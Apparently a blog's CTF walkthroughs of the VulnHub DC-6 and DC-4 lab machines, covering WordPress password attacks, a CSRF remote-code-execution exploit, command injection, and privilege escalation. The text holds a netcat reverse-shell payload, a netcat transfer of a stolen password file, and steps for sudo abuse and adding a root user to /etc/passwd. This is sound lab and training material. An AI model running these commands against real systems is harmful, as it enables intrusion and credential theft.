VulnHub – DC-6



Machine: DC-6
Target IP:
Attacker IP:
Difficulty: Easy
Goal: Get /root/theflag.txt

The first thing we do is to follow the advice of the vm creator to edit our hosts file in the following way, as shown in figure 1. To do so we use the command:

sudo vi /etc/hosts

1. Adding the host “wordy” into /etc/hosts

We then use Nmap to find the target system’s open ports.

2. Nmap scan for target system

Since we identified a web service on port 80 we use a browser of our choice to browse the website. As shown in figure 3 we see that the web server is hosting a WordPress site.

3. Website on port 80

The text on the website might be a hint to have a look at the installed plugins. To do so we use a tool call WPScan. Please note, that we might have to provide an API-token, which is free available at

sudo wpscan –url http://wordy/ -e vp –api-token **censored**

As a result we get a big list of 24 identified vulnerabilities, but most of them are XSS and wont give us direct access to the administrative backend or the underlying target system.
When we take a look at the clue that the vm creator provided we see that we should create a smaller subset of a larger password dictionary (rockyou).

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

We do so and as a result we get a list of 2668 possible passwords. The next step is to identify possible usernames by using WPScan once more.

sudo wpscan –url http://wordy/ -e u –api-token **censored**

4. List of backend users

The next step is to use WPScan to perform a dictionary attack with the identified users and our shortened password list.

sudo wpscan –url http://wordy/ -U users.txt -P passwords.txt –api-token **censored**

5. WPScan password attack

Using the username and password combination from figure 5 we are able to login to the administrative backend. There we do not have full administrative privileges, but we have access to a plugin called “Activity monitor” as shown below.

6. Accessible plugin “Activity monitor”

Since we wanted to identify a vulnerable plugin in the first place but haven’t been able to identify one yet, we take a closer look at the new identified plugin. We try to find any version information about the plugin and are able to find something in the source code of the plugin page as shown in figure 7.

7. Plugin version information

Doing a quick search for exploits we are able to find an exploit for the exact same version of the plugin. This just has to be the match we were looking for.

8. Searching for exploits

We take a close look at the proof-of-concept (poc) code and edit it to create a reverse connection to our attacking system.

9. PoC for CVE-2018-15877

Since the code is going to be triggered via CSRF we need to host the HTML file on our own and trigger it manually, while being logged into the target WordPress backend. To host the HTML code we use a simple Python HTTP server as shown in figure 10.

10. Hosting poc file

When we access the HTML file on our HTTP server we are presented with a submit button which executes the poc code.

11. Button to execute code via CSRF while being logged into the WordPress backend

Before executing the code by clicking the Submit request button we start a Netcat listener on port 443 on our attacking machine to handle the incoming connection.

12. Incoming connection from target system after RCE over CSRF

Once we are on the machine we search the home directory of the local users. Inside the directory /home/mark we find a file called things-to-do.txt which contains credentials for another user called Graham.

13. Finding cleartext credentials

We use these credentials to connect to the system as user Graham via SSH. Once we are on the target system as user Graham, we check our sudo privileges and find an interesting script called

14. Finding an writeable, sudo executable script

Checking our own privileges shows, that we have permission to edit the script as shown in figure 14. After editing the script and executing it as user Jens we are able to escalate our privileges as shown in figure 15.

15. Escalating privileges to user Jens

Furthermore figure 15 shows, that user Jens is able to execute Nmap with root privileges without a password. A quick look at GTFO bins shows us, how to exploit this misconfiguration. Important to know is, which version of Nmap is going to be targeted, since there was an interactive mode that could be used up to version 5.21. Once we created a Nmap script that opens a shell we execute it as user root to escalate our privileges once more and are able to access the flag.

16. Privilege escalation to root & flag




VulnHub – DC-4

Machine: DC-4
Target IP:
Attacker IP:
Difficulty: Easy
Goal: Get /root/the-flag.txt


As always we start with a Nmap scan to identify open ports. As figure 1 shows the target system only offers SSH and a HTTP service.

1. Nmap scan.

When we take a look at the web service we are prompted with a login mask.

2. Root directory (/login.php) for web service.

After verifying that SQL-Injection might not be an option here we try to find any hidden directories or vulnerabilities with Dirbuster and Nikto. But it seems like we are out of luck. And since desperate times calls for desperate measures we try to password spray our way in the application. To do so we use wfuzz. But first we need to know how the HTTP body of the login attempt is structured. For this we create a login attempt and intercept the request that is being made from the browser to the server with a proxy of our choice as shown in figure 3.

3. Intercepted HTTP post request of a login attempt.

With this information we can create the wfuzz command to spray some passwords from the famous SecLists (LINK). Unfortunately we do not know any valid usernames by now, which is why we assume the username admin could be a valid user. But as figure 4 shows we receive only false positives due to the a redirect. Which is why we need to separate a failed login from a potential successful login.

4. Spraying password with an valid HTTP body.

So we try to hide any failed response by ignoring statuscode 302 or a specific amount of words or characters. The last one is the way to go as shown in figure 5. A failed login response contains 206 characters, while a successful response contains 367.

5. Final wfuzz command to perform a password spraying attack while ignoring invalid login attempts.

After using the password to authenticate as admin to the web application we have access to three different commands that will be executed on the target system as shown in figure 6.

6. New interface after login.

The idea is that we have to bypass the restrictions that limit us to only execute the three selected commands and to execute arbitrary code. To do so we take a closer look at the HTTP connection with a proxy like Burpsuite. As we can see in figure 7 the command that is being sent to the target system is passed inside the HTTP body.

7. HTTP Post request for directory listing.

We intercept the HTTP request and modify the body, more specifically the value for the radio parameter. This allows us to execute simple commands like whoami which gives us the confirmation that there is no further parameter sanitizing implemented which could prevent arbitrary code execution. The next step is to use any binary that is capable of creating a reverse shell. In this example we use the following Netcat command.

nc -e /bin/sh 443

Furthermore we have to URL encode the payload so that the request wont error due to the special characters. After sending the payload to the system we receive an incoming connection from the target as shown in figure 8.

8. Creating a reverse shell with an URL eoncoded Netcat payload.

Looking inside the home directories of the different users we find a backup directory with a file called old-passwords.bak for the user Jim.

9. Backup of old passwords for user Jim.

As figure 9 shows the file contains over 200 passwords. We copy the file to the attacking machine by using Netcat. First we set up a listening port on our local machine and direct any input to a new file.

nc -lnvp 5555 > oldpw.bak

Afterwards we create a connection from the target back to our system and direct the file as input.

nc 5555 < old-passwords.bak

After copying the passwords we try our luck and create another password spraying attack but this time for the user Jim and the SSH service we have identified earlier. To do so we use Hydra as shown in figure 10.

10. Attacking SSH with user Jim and a list of old passwords.

After using the identified password to login as user Jim  over SSH we can see we have a mbox in /home so lets check other mails in /var/mail. There we find an inbox for the user Jim and a password for the user Charles as shown in figure 11.

11. Mail with password for user Charles

After creating a SSH session as user Charles we try to find anything useful to escalate our privileges. When we check our sudo privileges with sudo -l we can see that we have access to a tool called teehee. Checking the help for teehee with sudo teehee –help we see that it is pretty much like the regular Linux tool tee.


12. Help for teehee

After trying to create a new file with teehee to learn how it works we are ready to go to create a new script that opens a reverse shell back to our attacking machine and make it executable with chmod +x.

13. Creating a simple reverse shell script inside /home/charles

Afterwards we use sudo teehee -a to append a new task in the crontab to schedule the execution of the previously created shell script as user root for every minute.

15. Added task to crontab for reverse shell execution

Setting up Netcat to listen for incoming connections we receive a root shell to the target system.

16. Root shell and flag

Alternatively, we could have just edited the /etc/passwd file to create a new user with root privileges.

sudo teehee -a /etc/passwd
(or shorter)

Afterwards we can use su to change to the new user without a password.

17. New user in passwd with root privileges